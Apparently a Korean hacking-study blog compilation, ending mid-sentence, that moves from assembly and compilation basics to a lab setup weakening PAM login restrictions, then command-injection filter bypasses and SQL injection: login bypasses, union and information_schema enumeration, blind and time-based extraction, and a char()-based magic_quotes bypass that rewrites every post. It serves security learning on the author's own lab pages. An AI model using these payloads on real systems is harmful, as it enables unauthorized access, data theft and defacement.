저번에 Hello World를 출력하는 코드가 프로그램으로 번역되는
컴파일 과정을 살펴보았다.

오늘은 번역된 결과인 어셈블 언어를 공부를 시작해볼 것이다.
저번에 만들었던 코드를 조금 수정해서 printf에 넘겨주는 함수 인자를 2개로 만들어보았다.



(함수 인자 2개)




(출력 모습)



프로그램이 동작하는 결과는 같다.

다만 이 프로그램을 어셈블언어로 살펴보면



(인자 전달)



PUSH 두개가 보이고 그 후에 call이 나온다.
먼저 간단히 설명하자면 PUSH로 스택에 전달할 인자 2개를 넣어 둔 후
함수를 호출하면서 함수에 인자를 전달한다. 바로 이게 함수에 인자를 전달하는 방법 중 하나이다.

* 함수에 인자를 전달하는 방법
1. 스택 메모리를 통한 전달
이 방법을 통해 어셈블언어로 직접 구현해보겠다.



(어셈블언어)



여기서 extern은 C언어에서도 사용하는 키워드로 외부의 함수를 이용하기 위해 사용하는 것이고
우리는 printf 를 사용하기 위해 extern으로 알려주었다.
그 다음으로 segment로 data 영역과 text 영역이 보인다. text 영역에는 코드를 작성하고 data 영역에는 우리가 사용할 문자열을 저장해두었다.
함수에 전달하는 값은 순서가 반대로 입력이 된다. 스택구조는 제일 먼저 들어온 것이 가장 나중에 나오는 자료구조의 특징때문이다.

이 어셈블 코드를 목적파일로 만들고 링크작업까지 끝내고 objdump로 살펴보면 다음과 같이 확인할 수 있다.



(objdump 모습)



우리가 입력해준 데이터 msg1, msg2의 값의 주소값으로 들어간 것을 확인 할 수 있다.
여기서 msg1, 2 는 우리가 레이블이라고 표현하는데 주소값을 컴파일 전에는 알 수 없으므로 네이밍 해준 것이다.

이번에는 printf에 인자를 3개 줘보겠다. 먼저 C코드에서의 모습이다.



(C코드 모습)



이러한 코드를 어셈블언어로 작성하면?



(어셈블언어)



위와 같다. 스택구조로써 PUSH 하는 순서는 반대로 넣어주고 함수를 call 하면 된다.

실행 화면을 확인해보면 다음과 같다.



(실행 화면)



실행 화면을 보면 기존의 출력과 똑같이 나오는 것을 확인 할 수 있다.
또 objdump로 다시 살펴보면



(objdump)



3개의 인자로 넘겨주려고 했던 것들이 PUSH 되고 함수가 call 되는 것을 확인 할 수 있다.

2. 레지스터를 통한 인자 전달
두번째 방법으로는 레지스터를 통해 함수에 인자를 전달 할 수 있다. ( 사실 어셈블언어에서 함수라는 개념은 없지만 지금은 이해하기 쉽게 함수라 표현하였다.)

* 레지스터 - CPU가 사용하는 고속의 기억장치

1. 범용 레지스터( general register ) (순서대로 이용한다.)
1). EAX( Extended Accumulator Register )
2). EBX( Extended Base        Register )
3). ECX( Extended Counter     Register ) : 반복관련
4). EDX( Extended Data        Register ) : 보조적인 데이터 저장

-> 사실 이 용도로만 쓰지는 않는다. 범용이라 아무대서나 쓰이기도한다.


레지스터로 함수에 인자를 전달해보겠다. 우선 printf는 스택메모리를 통해 인자를 전달하도록 정해져있기 때문에 우리가 이 내용을 확인하려면 시스템 콜을 알아야한다.


* 시스템 콜 ( System Call )

-> 커널에 접근할 수 있는 인터페이스이다.

- 클래스에서 멤버에 접근하기 위한 메서드를 공개해놓은것과 비슷한 개념이다.
- 즉, 커널 자원에 접근하기 위한 함수라고 생각하면된다.


레드햇 6.2버젼에서는 /usr/src/linux-2.2.14/include/asm-i386/unistd.h 위치에 시스템콜이 정리되어있다.



(시스템콜)




약 200여가지 시스템 콜을 사용할 수 있다.

사용하는데 방법을 알아보기 위해서는
# man 2 함수이름
이런식으로 메뉴얼을 볼수 있다. 우리는 화면에 출력할 write를 살펴보겠다.



(write 시스템콜)



ssize_t write(int fd, const void *buf, size_t count);
3개의 인자가 필요하다.
정리하면 buf에 있는 내용을 count만큼 fd로 전달한다.

이 내용을 C코드로 작성해보면 다음과 같다.



(c코드)



fd 는 표준 출력인 1로 주었고 문자열을 buf에 입력하고 문자열 수 14를 count에 입력하였다.
프로그램 실행 결과는 다음과 같다.



(실행 결과)




그렇다면 이러한 시스템콜이 printf에도 쓰이지 않았을까?
-> 그렇다! 우리가 사용했던 C코드로 만든 프로그램이 사용한 시스템콜을 확인해보면 된다.

strace -> 해당 프로그램이 사용하는 시스템콜 목록을 확인할 수 있다.

ltrace -> 사용하는 라이브러리를 보여준다.


strace를 이용하여 c코드로 짠 프로그램을 실행시켜보면



(strace)



printf 가 사용된 프로그램에 write 시스템콜이 사용된 것을 확인할 수 있다.

지금까지 정리한 내용을 토대로 Hello, World!를 출력하는 프로그램을 어셈블 언어를 이용하여 작성해보겠다.


(어셈블 코드)



레지스트 eax에는 시스템콜 번호를 써준다. write의 시스템콜번호는 4번이므로 4를 입력해주었다.
그 다음으로는 인자를 차례로 적어주면된다.
ebx에는 fd의 값
ecx에는 버퍼에 담긴 내용 (여기서는 레이블을 이용해 주소값을 전달한다.)
edx에는 크기

그리고 마지막에 int는 정수형이 아니라 인터럽트를 뜻한다.
int 0x80은 시스템콜 인터럽트를 의미한다.
int 0x80  인터럽트가 걸리면 바로 eax를 참조하고 eax에 적힌 시스템콜번호를 확인하여 시스템콜을 수행하게 된다.

자! 컴파일하여 실행해보자!



(컴파일)




(실행)



잘 실행되는 것을 확인할 수 있다.

여기서 마지막에 Segementation 어쩌구 오류가 나오는데
우리가 프롤로그, 에필로그를 써주지 않아서 그렇다. 아직 우리가 공부하지 않았지만 시스템콜 중 exit를 이용하면 이 에러메세지가 안뜨게 종료시킬 수 있다.

그렇다면 exit를 추가해보자!



(exit(0) 추가)



이것도 똑같은 시스템 콜이므로
eax에 시스템 콜번호
그 다음 0으로 인자를 줄것이므로 ebx에는 0 그리고
int 0x80 으로 시스템콜 인터럽트를 걸면 된다.



(실행모습)



그렇게 되면 위와같이 실행이 정상적으로 종료된다.



시스템 공부에 들어서면서
바이너리 분석에 들어가 볼 것이다.

* 바이너리(실행파일)란?
 - 우리가 흔히 보는 윈도우즈의 .exe 확장자의 실행파일이라고 생각하면 된다.
 - 0과 1로 되어있는 기계어로 번역되있는 파일이다.

이 바이너리분석을 하기 위해서는 실행 파일이 어떻게 만들어지는지 공부할 필요가 있다.
즉,
다시말하면
프로그래밍된 코드가 어떻게 기계어로 번역되는지 이런 과정을 크게 Compile이라고 한다.
이 Compile 과정에 대해 알아보겠다.
우리는 C언어로 작성된 코드가 실행파일이 되는 과정을 살펴볼 것이다.

먼저! 간단하게 C코드를 작성한다. 



(sample.c 작성)



* gcc는 확장자를 보기 때문에 파일 이름 뒤에 .c를 붙여줘야한다.

만든 후 gcc를 이용해 컴파일을 해볼 것이다. gcc는 GNU C Compiler의 약자로 리눅스에서 제공하는 컴파일러이다.
아래처럼 컴파일 해본다.



(컴파일)



컴파일 완료되면 위와 같이 실행파일이 생성된것을 확인 해 볼 수 있다.
또 이 실행파일을 실행시키면 우리가 작성한 대로 Hello World 문구가 나오는 것을 확인 할 수 있다.

이 실행파일은 바이너리로 되어있기 때문에 vi 편집기 혹은 cat으로 볼 수 없고
헥스값을 볼 수 있는 xxd 데몬을 이용해서 볼 수 있다.



(바이너리 파일)



* gcc 뒤에 -o 옵션을 주어 우리가 원하는 파일이름으로 컴파일하여 실행파일을 만들 수 있다.



(-o 옵션)



* gcc 뒤에 -v 옵션을 주면 컴파일 과정이 화면에 그대로 출력된다.
우리는 gcc -v 옵션을 주어 컴파일이 이루어지는 과정을 그대로 살펴볼 것이다.



(-v 옵션)



위 화면을 보면 컴파일 과정이 주르르륵 나온 것을 볼 수 있다.
하나하나 과정을 짚어가며 살펴보겠다.

* 컴파일 과정

(1) 전처리 과정 : 컴파일 중 가장 먼저 이뤄지는 작업으로 매크로, #include 문장 해석을 한다.
전처리 : precompile


출력 화면에 해당하는 문구

 /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cpp -lang-c -v -undef -D__GNUC__=2 -D__GNUC_MINOR__=91 -D__ELF__ -Dunix -Di386 -D__i386__ -Dlinux -D__ELF__ -D__unix__ -D__i386__ -D__i386__ -D__linux__ -D__unix -D__i386 -D__linux -Asystem(posix) -Asystem(unix) -Acpu(i386) -Amachine(i386) -Di386 -D__i386 -D__i386__ -D__tune_i386__ sample.c /tmp/ccmsu4yd.i



cpp -> 전처리기이다. 즉 cpp명령이 보이고 뒤에 -어쩌구들 해서 많은 옵션들이 보인다. 뒤에


sample.c /tmp/ccmsu4yd.i 이 보이는데 sample.c를 임시디렉터리에 .i파일을 만드는 과정이다.


하지만 /tmp 디렉토리에 들어가면 .i 파일을 확인할 수 없는데 그 이유는 컴파일이 끝나면 삭제시키기 때문이다. 우리는 이 파일들을 보면서 확인할 것이므로 이러한 파일들이 삭제되지 않는 추가적인 옵션을 주어야한다.

-save-temps 옵션을 주어 임시파일 .i 파일을 삭제 하지 않게 하겠다.



(-save-temps 옵션)



옵션을 추가하니 여러 부산(?)물들 파일이 생긴것을 확인 할 수 있다.

우리가 먼저 확인해볼 것은 sample.i (전처리 과정에서 생기는 파일) 이다.!



(sample.i 파일)



큰 변화가 없어보인다?...

전처리 과정에서 어떤 일이 일어나는지 직접 눈으로 확인해보기 위해 c코드를 조금 수정해보겠다.!
define문장을 추가해보자!



(define 문장 추가)




다시 컴파일 하겠다!




(재컴파일)



재컴파일 후
sample.i 파일을 확인해본다.



(sample.i 파일)



- define 문장이 사라지고 소스코드 안에 썻던 define이 100(우리가 설정했던 값)
으로 모두 치환되어 있는 것을 확인 할 수 있다.
-> 바로 이게 전처리기의 역할이다.

2. 어셈블 과정 : 전처리된 파일을 어셈블리 형태로 변환

해당 문구

 /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cc1 /tmp/ccmsu4yd.i -quiet -dumpbase sample.c -version -o /tmp/cc0q9vPg.s


.i 파일을 .s 파일로 바꿔준다. 이때 어셈블(기계어)형태로 바꿔준다.

왜 기계어라고 해도 무관하냐면 어셈블언어와 기계어가 1:1로 매칭되기 때문에 어셈블언어를 기계어라고도 한다. 즉 바이너리로 바꾸기 직전의 파일 .s 파일을 만들어준다.



(sample.s 파일)



sample.s 파일을 확인해보면 어셈블 언어로 바뀐것을 확인할 수 있다.

3. 컴파일 과정 : 어셈블 파일을 기계어(숫자)로 번역하는 과정이다. 정확히말하면 컴파일 과정은 이부분이지만 크게 말해 이 모든 과정을 컴파일이라고 통상적으로 말하곤 한다.

해당문구

as -V -Qy -o /tmp/ccs3N70j.o /tmp/cc0q9vPg.s


as : 어셈블러를 뜻한다. 즉 as 명령으로 -o옵션으로 .s파일을 .o 파일로 만든다.
.o 파일 (기계어로 뽑아낸 파일, 오브젝트 파일)



(sample.o 파일)



파일을 보면 이제부터는 vi 편집기로 볼 수 없다. 이제부터는 바이너리이기 때문에 xxd 혹은 objdump 등 바이너리를 다루는 도구를 통해 봐야한다. objdump를 이용해 확인해보겠다.



(sample.o 파일 확인)



파일을 보면 .s 파일에서 봤던 어셈블 언어가 모두 바이너리로 바뀐것을 확인 할 수 있다.

4. 링크 단계 : 완벽한 실행파일을 생성한다. 이 때 필요한 라이브러리를 모두 합친다.

해당 문구

 /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/collect2 -m elf_i386 -dynamic-linker /lib/ld-linux.so.2 /usr/lib/crt1.o /usr/lib/crti.o /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtbegin.o -L/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66 -L/usr/i386-redhat-linux/lib /tmp/ccs3N70j.o -lgcc -lc -lgcc /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtend.o /usr/lib/crtn.o


: 오브젝트 파일과 라이브러리 오브젝트를 전부 합쳐서 하나의 실행파일로 만든다.



(a.out 파일 확인)




그렇다면 a.out 파일을 확인해보겠다.




(a.out 바이너리)



파일을 보면 왼쪽에는 메모리 주소인데 파일내용에서 해당 내용을 찾으려면(보통 파일구조 그대로 메모리로 올라가기 때문에) 대략 뒤 3자리를 참조하면된다. (항상 그런것은 아니다.)
확인해보면 3d0의 위치를 보자 



(3d0 위치)



3d0 위치에 우리가 확인했던 바이너리 문자를 볼 수 있다.

* 어셈블 언어로 코드를 작성해보고 컴파일 해보자!
Hellow World 를 출력하는 실행파일을 만들것이다. :)
nasm을 이용할 것이다! 그러기위해 .asm 확장자로 작성한다.



(sample.asm 파일 작성)




(sample.asm 내용)



컴파일 과정에서 어셈블 언어로 바꾸는 과정까지 우리가 직접 한 셈이다.
그러니 그 후 나머지 작업만 해주면 된다.

먼저 오브젝트 파일을 생성해야한다.(바이너리로 바꿔준 파일)
nasm을 이용하여 -f옵션 파일 타입 elf 로 명시한 후 sample.asm을 입력한다.



(sample.o 파일 생성)



그 후 우리가 printf 함수를 사용했으므로 이 함수의 라이브러리를 연결해주어야한다.
바로 링크단계이다.
여기서는 간단하게 static으로 구현해 볼것이다.



(링크 작업)



링크 작업이 끝나면 실행파일이 만들어지게 된다.



(실행파일)



실행 파일이 만들어진 것을 확인 할 수 있고
실행되는 것 또한 확인 할 수 있었다.



System 해킹을 공부하기에 앞서
실습환경을 구성해본다.

구성할 리눅스 버젼은 Red Hat 6.2 버젼으로 아주아주아주아주 오래된 버젼이다.
간단한 버젼으로 시스템에 입문할 것이다.

Red Hat은 오래된 리눅스이기도 하고 부팅에 문제가 있을 수 있다.
그래서 부팅할 때 맨 처음에 linux-up 이라고 입력을 해주면 된다.




(부팅 요령)



그 후 호스트 이름을 바꿔 줄 것이다.



(/etc/sysconfig/networ)




호스트 이름을 TFA로 바꿔주었다.



(호스트 이름 변경)




그 후 원격 쉘을 이용하여 공부할 것인데 연결이 가능하도록 만들어 줄것이다.
지금 설치된 Red Hat에 PAM 설정이 되어있기 때문에 몇가지 설정 파일을 수정해주어야 한다.

먼저 /etc/securetty에서 원격 터미널을 넣어주어야한다.




(/etc/securetty 설정 파일)




(pts 추가)



pts 는 원격 터미널로 8개 까지 채워준다.

그 후 pam.d 디렉토리에서 login 설정 파일을 수정해 줄 것이다.



(/etc/pam.d/login)




(pam_securetty.so 주석)




맨 윗줄을 주석처리해준다.

그 후 Xshell 에서 원격으로 로그인 할 수 있었다.



(원격 접속)




그 후 기본적으로 Red Hat에 있는 어셈블러가 아닌
인텔 기반의 어셈블러로 공부하기 위해 따로 nasm을 설치 해주었다.



(nasm 다운로드)




그 후 설치해준다!



(설치1)




(설치2)



설치 후 nasm cp 명령으로 /usr/bin 에 복사해준다.
이유는 PATH 경로에 넣기 위해서이다. 어디서든 nasm 명령어로 사용할 것이기 때문이다.



(cp)




그 후 nasm 명령어를 입력하면 명령어로 입력되는 모습을 볼 수 있다.



(설치 완료)




이로써 시스템 공부할 실습환경을 만들었다.




* 웹 해킹을 하면서, 웹 해킹 문제를 풀면서 Command Injection을 해야하는 상황이 종종 나타난다.

하지만, 이 또한 SQL Injection과 함께 널리 알려져 있기 때문에 보통 막아놓는다.
예를들어
$key = $_REQUEST["input"];
system("grep -i \"$key\" action.txt");
예를 들어 이러한 코드가 있다고 가정해보자!

Injection공격에 익숙한 사람들이라면 Injection 취약점이 있다는 것을 바로 알 수 있다.
key라는 변수를 GET방식으로 받아와 직접 명령어를 전달한다.
여기서 | (pipe) 혹은 ; (세미콜론)을 쓴다거나 등등 여러 방법으로 내가 원하는 명령을
함께 실행 할 수 있는 것이다.

그런데 만약 여기에
(preg_match('/[;|&`\'"]/',$key))
이러한 코드 문구가 있고 필터링 되고있다면??
우리가 알고있는 pipe도 못쓰고 세미콜론도 못쓰고...
게다가
%0a로 개행하여 명령을 전달하려해도 우리가 입력한 값이 "" 더블쿼터안에 들어가기 때문에
명령어로 인식이 안된다..

그렇다면 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 찾으면 좋을텐데..!

그래서 오늘은 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 정리하고자한다.
Command Injection으로 활용할 수 있다.

명령어로 인식되게 하는 특수문자가 리눅스에 있다.

예를들어 uname이라는 명령어를 리눅스에서 입력하면
현재 사용되고 있는 OS 정보를 보여준다.



(uname 명령)



여기서 mkdir로 폴더를 만드는데
#> mkdir uname
이라고 입력을 하면
uname이라는 폴더가 만들어진다.



(uname 폴더 생성)



하지만 여기서
#> mkdir `uname`
을 입력하면 `(백쿼터) 안에 있는 uname이 명령으로 인식되어 명령이 전달된 값 Linux라는 폴더를 만들게 된다.



(명령어로 인식)



아하!!
`(백쿼터) 안에 있으면 명령어로 인식되는 것을 알 수 있다.

하지만..
위에서 필터링 되고있는 것들을 보면 `(백쿼터)가 포함되어있다.
다른 방법이 하나 또 있다.
바로 $() 이 안에다 쓰면 명령어로 인식이 된다.
Linux라는 폴더를 지우고 다시한번 똑같이 해보겠다.



(명령어로 인식)



역시 명령어로 인식되는 것을 확인 할 수 있다.

명령어로 인식되게 할 수 있는 방법
1. ` uname` 
2. $(uname)  




SQL Injection을 크게 두 종류로 본다면
Numeric Injection과 String Injection이 있다.

1) Numeric Injection
- SQL Injection 취약점이 존재하는 입력의 형태가 정수일 때의 Injection이다.
정수의 타입으로 입력하기 때문에
String과 달리 ' 작은 따옴표가 없다.
그래서 뒤에 추가적인 명령을 바로 입력하여 SQL Injection을 할 수 있다.
ex)
select * from news where no=1 union select * from news
* 띄어쓰기를 할 수 있어야 추가적인 명령을 할 수 있다.
(만약 코드 상에 trim()이나 공백을 지워주는 함수가 있다면 불가능하다..)


2) String Injection
- Injection 취약점이 존재하는 입력의 형태가 문자일 때의 Injection이다.
우리가 입력하는 것이 작은따옴표 ' 안으로 들어가기 때문에 Numeric Injection처럼 바로 명령을 이어붙이지는 못한다. 다만 ' 따옴표를 사용해 문자열을 잘라줄 수 있으면 된다.

예를들어 아래와 같이 where 조건 이 항상 참인 경우( 1인경우 )
전체 값을 불러오는 것을 확인 할 수 있다.



(where 참 경우)



이 것을 이용해 id에는 String이 들어가므로
아래와 같이 항상 참이도록 SQL Injection을 하면 전체 ID 정보를 가져올 수 있고
인증에 성공하게 된다. (우리가 인증과정을 해당 ID와 비밀번호가 조건에 맞는 데이터가 있다면 인증에 성공하게 만들었다.)
(사실 이 코드는 굉장히 효율적이지만 치명적인 SQL Injection 취약점이 있다. 위와같이)

그렇다면 아래와 같이 Injection을 해보겠다.



(SQL Injection)




결과...
성공하지 못했다.

SQL Log를 살펴보니.!



(SQL Log 확인)



우리가 입력한 ' (작은 따옴표) 앞에 \(역슬래쉬) 이스케이프 문자가 붙어진 것을 확인 할 수 있다.
그렇기에
우리가 입력한 작은 따옴표가 제 역할을 하지 못한 것이다.
이유는! 바로 우리가 전에 /etc/php.ini 설정 파일에서 magic_quotes_gpc 라는 설정을 해주었기 때문이다..!
이렇게 되면 String Injection은 난이도가 팍! 올라간다..!
지금 우리는 SQL Injection을 확인해보는 것이므로... ㅎㅎ
설정 해제 후 확인해보도록 하자! :)



(설정 해제)



그 후 같은 SQL Injection 모습이다.



(로그인 성공)



원리는
위에서 설명한것 과 같이 항상 참이 나오는 SQL 명령을 삽입하였다. 물론 뒷부분은 처리되지 않도록 주석처리 하였다 .(#을 이용해서)
그래서 ID와 비밀번호 데이터가 전부 가져와졌고 우리가 만든 페이지 코드에서 데이터가 있다면 인증에 통과하도록 했기 때문에 통과 되는 것이다.

그렇다면 아이디 부분이 아닌 비밀번호 부분도 마찬가지 String이므로 같은 공격을 할 수 있다.


(SQL Injection)



Log를 확인해보면 우리가 원하는 SQL 명령이 들어간 것을 확인해 볼 수 있다.
조금 다른건
비밀번호 입력한 것이 password() 괄호 안에 들어가므로
1' ) or 1#
이렇게 괄호를 닫아주는 센스?!



(Log 확인)



이렇게 하면
없는 ID로도 로그인이 가능하다.



(로그인 우회)



그렇다면 이제 난이도를 올려보자!
분명 위에 처럼 where를 사용하여 조건에 맞는 데이터가 있다면 인증하는 것도 굉장히 혁신적인 코드이지만 취약점이 있다...
이제 우리는 아이디와 비밀번호를 DB에서 확인하여 일치하면 인증을 하도록 난이도를 올리겠다.



(난이도 업 코드)



ID만 쿼리문에 들어가있다. ID만 검색한 후 그 데이터에서 비밀번호를 입력받은 비밀번호와 일치하는지에 따라 인증을 하는 코드이다.

과연 이것을 우회할 수 있을까?
생각보다 간단하다 :)

저 코드를 잘 보면 알 수 있게 된다.
전 글에서 우리가
select * from login union select 1,2 from login
이렇게 하면 1, 2 컬럼이 추가되어 나오는 것을 확인한 적이 있다.
(기억이 안난다면 지난 글 확인!)

이것을 이용하는 것이다.
코드를 보면 사용되는 쿼리문은
select * from login where user='id' 이다.
여기서 id 에다가 다른값을 넣어준 후 작은따옴표로 문자열을 닫고 union으로 추가해서 우리가 원하는 값이 나오도록 하는 것이다.
Ex)
select * from login where user='1' union select 1, 2 from login;
을 하게 되면 어떤 데이터가 받아와질까?
바로 user가 1인 데이터가 없으므로

user  |  pass
  1         2 

이런 데이터가 받아와지는 것이다. 코드를 보면 이럴 경우 pass의 값 2를 가져오게 되고
우리가 만약 비밀번호에 2를 입력한다면? => ?!?!

하지만 코드를 잘보라~
입력받은 비밀번호를 md5해서 비교하고 있다.
(사실 DB의 값을 바꿔놨다. password에 md5로 해쉬한 값을 넣어놨다.)

그렇다면 mysql 내장함수를 이용하여
select * from login where user='1' union select 1, md5(2) from login;
를 한다면
2가 아닌 md5로 해쉬한 2의 값이 나오게 되고
우리가 비밀번호에 2를 입력하면
모든 조건이 맞는 것이다.!
즉! 우회 성공!

확인해보겠다.
select * from login where user='1' union select 1, md5(2) from login; 이 나올수 있도록
1' union select 1, md5(2) from login# 을 넣어주고
비밀번호에 2를 입력해주었다.



(SQL Injection)



결과..



(우회 성공)




이처럼 SQL 에 취약한 코드가 있다면 안전한 인증을 사용해도 우회가 가능하다는
가능성을 보았다.!




DB의 정보를 확인하기 위해
지난 글에서 SQL Injection을 했다. 바로 Guessing(추측) 공격으로 말이다.

하지만 DB에 관한 지식? 정보를 알면 조금 더 정확하게(?) 정보를 꺼낼 수 있다.

우리가 지금 사용하는 MySQL에 관한 지식을 이해해보면서
이러한 가능성을 이해해보자 :)

MySQL에는 기본 DB가 있다. (우리가 만들지 않아도)
그 중 하나가 information_schema인데 이 DB에는 DB내의 모든 정보가 들어있다.
information_schema는 MySQL5 이상에서만 존재한다.
이 DB는 논리적인 DB로 수정이나 삭제가 불가능하다.

이 information_schema DB를 살펴보자!



(information_schema DB)



이 DB에 들어있는 테이블들을 확인해보면
DB 정보가 들어있는 테이블들을 확인 할 수 있다.
여기서 우리는 테이블 정보가 들어있는 tables 라는 테이블을 확인해보겠다.



(TABLES 테이블)



테이블 내용 중 몇가지만 명령문에 넣어 select 명령문을 사용해보겠다.



(TABLES 내용 확인)



그렇다면
다른 DB에서도 information_schema DB에 들어있는 정보를 SELECT해서 확인 할 수 있는지 확인해보겠다.



(다른 DB에서 SELECT)



에러가 난다.!
그런데 에러 내용을 보니 blind.columns 이 없다고 나온다. 즉 경로를 입력해줘야 한다는 뜻이다.


select 1, column_name, table_name from information_schema.columns;
이런식으로 명령을 내리면 다른 DB에서도 해당 DB의 테이블 정보를 확인 할 수 있다.
그렇다면 union명령으로 SQL Injection 해보겠다.
information_schema 정보를 가져올 수 있다면 다른 DB에 대한 정보를 이용해 여러가지 정보를 가져올 수 있기 때문에 중요한 것이다.



(SQL Injection)



명령
http://100.100.100.129/view.php?no=1 union select 1, column_name, table_name from information_schema.columns;



(실행 결과)



실행 결과를 보니 information_schema DB의 columns 테이블의 정보들 중 우리가 선택한 column_name, table_name 정보가 나오는 것을 확인 할 수 있다. 첫번째 컬럼은 화면에 출력 되지 않으므로 그냥 1로 한 것이다.
우리가 이 페이지를 만들 때 일부러 취약하게 만들기 위해 while문을 사용했었는데
난이도를 올려 while을 제거해보겠다.


(while 제거)



제거하면 기존의 페이지 모습과 같다.



(제거한 모습)





(거짓 Injection)





(참 Injection)



다만,
아까와 같이 SQL Injection 시 정보가 주르륵 전부 나오지 않고 하나만 나오기 때문에 그리고 제일 먼저 담겨오는 원래정보만 나오기 때문에 난이도가 올라간다.
즉 여기서 우리는 새로운 명령 문법을 배워야한다.
바로 limit 명령이다.
limit을 이용하면 select의 개수를 정할 수 있다.
* limit 을 이용하면 출력의 개수를 정해줄 수 있다.

또 출력을 시작할 행의 번호 또한 지정할 수 있다.
MySQL에서는 0번부터 시작한다.
mysql> select * from [Table] limit 시작, 갯수;



(사용 예시)



위 사용은 10번째 행부터 10개 까지만 가져오도록 하는 명령을 사용한 것이다.

이것을 이용하면 아까 우리 페이지는 한개의 행만 가져올 수 있으므로 개수는 1개로 지정하되
시작하는 행의 번호는 자유이므로 아래와 같이 명령을 하게되면 정보를 확인 할 수 있게 된다.



(테이블 정보 확인)



이를 이용해
http://100.100.100.129/view.php?no=1 union select 1,2,table_name from information_schema.tables limit 1,1
이렇게 url로 SQL Injection을 하면 아래와 같이 나온다.



(실행 결과)




(실행 결과2)



여기서 난이도를 더 올려보겠다.
만약 화면에 DB 정보가 안나온다면??..



(DB정보 출력 제거)



난이도를 올린 페이지 모습



(업그레이드 페이지 모습)




(참 Injection)





(거짓 Injection)



참과 거짓을 이용했을 때 화면에 문구가 나오느냐 안나오느냐 확인 할 수 있으므로
SQL Injection에 취약한 지는 체크할 수 있다.

하지만 DB정보가 출력되는 곳이 없는데 어떻게 정보를 확인할 수 있단 말인가...

이를 이해하기 위해 우리는 또다른 mysql 명령 문법을 알고 가는 것이 좋다.
substr 이라는 문법이다.
이 문법은 php에서도 사용된다.

바로 문자열을 분할하는 함수이다.
이 함수를 이용하면 아래와 같이 한글자를 확인 할 수 있다.



(substr 이용 확인)



위 화면은 information_schema DB에 있는 tables 라는 테이블에 테이블 이름 컬럼의 정보 중 첫번째 행의 데이터의 첫번째 글자를 확인한 것이다.

이를 우리는 웹에서 DB정보가 출력되는 것이 없기 때문에 참과 거짓을 이용하여 찾을 것이다.
그러기 위해 참과 거짓이 되게 비교를 해야하는데 물론 문자도 비교가 되지만 정확하게 하기 위하여
아스키코드를 비교하는 것이 좋다.



(아스키 코드 비교 화면)



이를 이용하여 아래와 같이 비교문장을 and 뒤에 추가하면 만약 참이되면
화면에 글자가 나올것이고(Welcome 어쩌구)
만약 거짓이면 and이기 때문에 화면에 아무 글자도 출력되지 않을 것이다.
바로 이것을 이용하여 찾는 것이다.



(SQL Injection)





(거짓 화면)



그렇다면 66이 아니니 67을 너보는 것이다.



(참 화면)



67일 때 글자가 나온것을 봐서
67이구나 즉 C라는 글자구나라고 생각할 수 있다.
이런 식으로
ascii(substr( (select table_name from information_schema.tables limit 1,1), 2,1)) = 66;
ascii(substr( (select table_name from information_schema.tables limit 1,1), 3,1)) = 66;
...
이렇게 한글자씩 찾는 것이다.

비교문이므로 크다, 작다 부등호로도 판별이 가능하다.



(부등호 사용)



이제 난이도를 더 올려보겠다.
화면에는 이제 Welcome이라는 글자 조차.. 아무 화면도 안뜬다...
이런 상황에서도 가능할까??



(출력 정보 없다.)





(페이지 모습)





(참 Injection)





(거짓 Injection)




참도,, 거짓도... 알아볼 수 없는 화면이다...
이럴 때는 일부러 특이 현상을 일으키는 것도 방법이다.
예를 들어 sleep명령이 있다.
and 뒤에 비교문(아까와 같이) 또 그 뒤에 sleep을 걸어주면
비교가 참일 경우 sleep이 발생되고
거짓일 경우 뒤의 명령을 실행할 필요가 없기 때문에 sleep이 나타나지 않는다.
즉 이걸 이용하면 아까와 같은 방법으로 한글자씩 알아낼 수 있다.




(참 Injection)




참일 경우 위와 같이 sleep이 발동되어 화면이 돌아가고 있는 모습을 볼 수 있다.

이렇듯 화면에 출력되는 정보가 없어도
확인이 힘들더라도
SQL Injection은 가능할 수 가 있다.
:)



저번 글 마지막에서
SQL 인젝션을 막아보았다.
바로 magic_quotes_gpc 설정을 통해서인데
한번 어떻게 막아지나 다시한번 확인해 보겠다.

게시글 내용을 sql injection test글로 수정하는 쿼리로 조작해서
url입력을 한다. 



(SQL Injection)



결과는 물론 실행되지 않았고
로그를 통해 어떤 SQL 명령이 전달되었는지 확인해보자



(로그 확인)



전달된 SQL 명령을 확인해보니 문자열 앞 ' 작은따옴표 앞에 \(역슬래쉬) 가 붙은 걸 확인 할 수 있다.

바로 escape 문자인데 문자열을 나타내는 ' 작은 따옴표의 역할을 벗어나 문자 따옴표 역할을 하게 한다. -> 그렇게 되어 뒷부분이 SQL 명령 문법에 오류로 처리가 되어 SQL 명령이 실행되지 않는 것이다.

이러한 필터링을 우회하는 방법이 있을까?
=> 이러한 필터링은 문자열이 입력되지 못하게 하는 것이다.

* 우회 방법
1) 필터링 되고 있는 문자에 대해서 다른 문자로 대체 가능한 문자를 찾는다.

2) 문자열을 표현하는 또 다른 방법을 이용하는 것이다.
-> mysqld의 내장함수를 이용하는 방법이 있다. (char함수 이용)

char() -> 아스키 코드를 바꿔주는 char 내장함수를 사용하면 ' , " 를 사용하지 않고도 문자열을 입력할 수 있다.

MySQL에서 적용이 되는지 확인해 보겠다.
먼저 char() 함수를 이용하여 문자열이 출력 가능할까?



(문자열 출력)



-> 문자열 출력이 가능하다.

'sql injection haha' 이라는 문자열이 출력 될 수 있도록
아스키코드표를 참고해서 적어준다.
SQL Injection에 사용될 url이다. 



(SQL Injection)



실행 후 로그를 확인해보았다.



(로그)



로그를 보니 우리가 원하는 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

공격이 잘 성공 됬다면 게시판의 모든 글이 sql injection haha로 바뀌었을 것이다.
뒤에 우리가 where 조건 절을 안주었기 때문에 모든 글에 적용 되었을 것이고
concat을 사용하지 않았기 때문에 글 전체가 바뀌었을 것이다.

확인해보면



(결과)




(결과)



모든 글이 우리가 입력한 문자열로 모두 바뀐 것을 확인 할 수 있다.

그렇다면 이 우회방법을 이용하여 스크립트도 추가할 수 있을까?



(추가할 스크립트)



추가할 스크립트를 아스키코드로 바꾸어 놓았다.

아까와 같이 하지만 우리는 이번에 전체 글이 아니라 19번 글만 적용시킬 것이다. 왜냐하면
